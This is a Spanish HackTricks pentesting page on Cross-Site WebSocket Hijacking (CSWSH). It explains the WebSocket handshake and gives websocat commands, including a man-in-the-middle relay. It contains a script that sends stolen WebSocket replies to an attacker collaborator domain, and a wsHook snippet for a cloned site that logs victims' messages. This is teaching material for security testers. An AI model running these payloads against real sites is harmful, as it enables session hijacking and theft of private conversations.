hacktricks/pentesting-web/cross-site-websocket-hijacking-cswsh.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

12 KiB

Secuestro de WebSocket entre sitios (CSWSH)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Qué son los WebSockets?

Las conexiones WebSocket se inician a través de HTTP y suelen ser de larga duración. Los mensajes se pueden enviar en cualquier dirección en cualquier momento y no tienen una naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.
Los WebSockets son particularmente útiles en situaciones donde se requieren mensajes de baja latencia o iniciados por el servidor, como los feeds en tiempo real de datos financieros.

¿Cómo se establecen las conexiones WebSocket?

(Aquí encontrarás un resumen, pero una guía más detallada sobre cómo se crea una conexión de WebSocket se puede encontrar aquí).
Las conexiones WebSocket se crean normalmente utilizando JavaScript del lado del cliente como el siguiente:

var ws = new WebSocket("wss://normal-website.com/chat");

El protocolo wss establece una conexión WebSocket sobre una conexión TLS cifrada, mientras que el protocolo ws utiliza una conexión no cifrada.

Para establecer la conexión, el navegador y el servidor realizan un handshake WebSocket sobre HTTP. El navegador emite una solicitud de handshake WebSocket como la siguiente:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Si el servidor acepta la conexión, devuelve una respuesta de handshake de WebSocket como la siguiente:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes WebSocket en ambas direcciones.

Nota

Varias características de los mensajes de apretón de manos de WebSocket son dignas de mención:

  • Los encabezados Connection y Upgrade en la solicitud y respuesta indican que se trata de un apretón de manos de WebSocket.
  • El encabezado de solicitud Sec-WebSocket-Version especifica la versión del protocolo WebSocket que el cliente desea utilizar. Esto suele ser 13.
  • El encabezado de solicitud Sec-WebSocket-Key contiene un valor aleatorio codificado en Base64, que debe generarse aleatoriamente en cada solicitud de apretón de manos.
  • El encabezado de respuesta Sec-WebSocket-Accept contiene un hash del valor enviado en el encabezado de solicitud Sec-WebSocket-Key, concatenado con una cadena específica definida en la especificación del protocolo. Esto se hace para evitar respuestas engañosas resultantes de servidores mal configurados o proxies de caché.

El encabezado Sec-WebSocket-Key contiene un valor aleatorio para evitar errores de proxies de caché, y no se utiliza para fines de autenticación o manejo de sesiones (No es un token CSRF).

Consola de Linux

Puede utilizar websocat para establecer una conexión en bruto con un websocket.

websocat --insecure wss://10.10.10.10:8000 -v

O para crear un servidor websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Conexiones websocket MitM

Si descubres que los clientes están conectados a un websocket HTTP desde tu red local actual, podrías intentar un ataque de ARP Spoofing para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente intenta conectarse a ti, puedes usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeración de WebSockets

Puedes utilizar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, identificar y buscar automáticamente vulnerabilidades conocidas en WebSockets.

Secuestro de WebSocket entre sitios (CSWSH)

También conocido como secuestro de WebSocket entre orígenes cruzados.
Es un Cross-Site Request Forgery (CSRF) en un handshake de WebSocket.

Surge cuando la solicitud de handshake de WebSocket se basa únicamente en cookies HTTP para el manejo de sesiones y no contiene ningún token CSRF u otros valores impredecibles.
Un atacante puede crear una página web maliciosa en su propio dominio que establece una conexión WebSocket entre sitios con la aplicación vulnerable. La aplicación manejará la conexión en el contexto de la sesión del usuario víctima con la aplicación.

Ataque simple

Ten en cuenta que al establecer una conexión WebSocket, la cookie se envía al servidor. El servidor puede estar usándola para relacionar a cada usuario específico con su sesión de WebSocket basada en la cookie enviada.

Entonces, si por ejemplo el servidor WebSocket envía de vuelta el historial de la conversación de un usuario si se envía un mensaje con "READY", entonces un simple XSS que establezca la conexión (la cookie se enviará automáticamente para autorizar al usuario víctima) enviando "READY" podrá recuperar el historial de la conversación.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

En esta publicación de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante logró ejecutar código Javascript arbitrario en un subdominio del dominio donde se estaba produciendo la comunicación del socket web. Debido a que era un subdominio, la cookie estaba siendo enviada, y debido a que el Websocket no verificaba correctamente el Origen, era posible comunicarse con él y robar tokens de él.

Robando datos del usuario

Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicación del websocket, agrega este código:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}

Descarga el archivo wsHook.js desde https://github.com/skepticfx/wshook y guárdalo dentro de la carpeta con los archivos web.
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:

sudo python3 -m http.server 80

Otras vulnerabilidades

Como los Web Sockets son un mecanismo para enviar datos al lado del servidor y al lado del cliente, dependiendo de cómo el servidor y el cliente manejen la información, los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket.

WebSocket Smuggling

Esta vulnerabilidad podría permitirte saltarte las restricciones de los proxies inversos haciendo que crean que se estableció una comunicación websocket (incluso si no es cierto). Esto podría permitir a un atacante acceder a endpoints ocultos. Para obtener más información, consulte la siguiente página:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Referencias

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥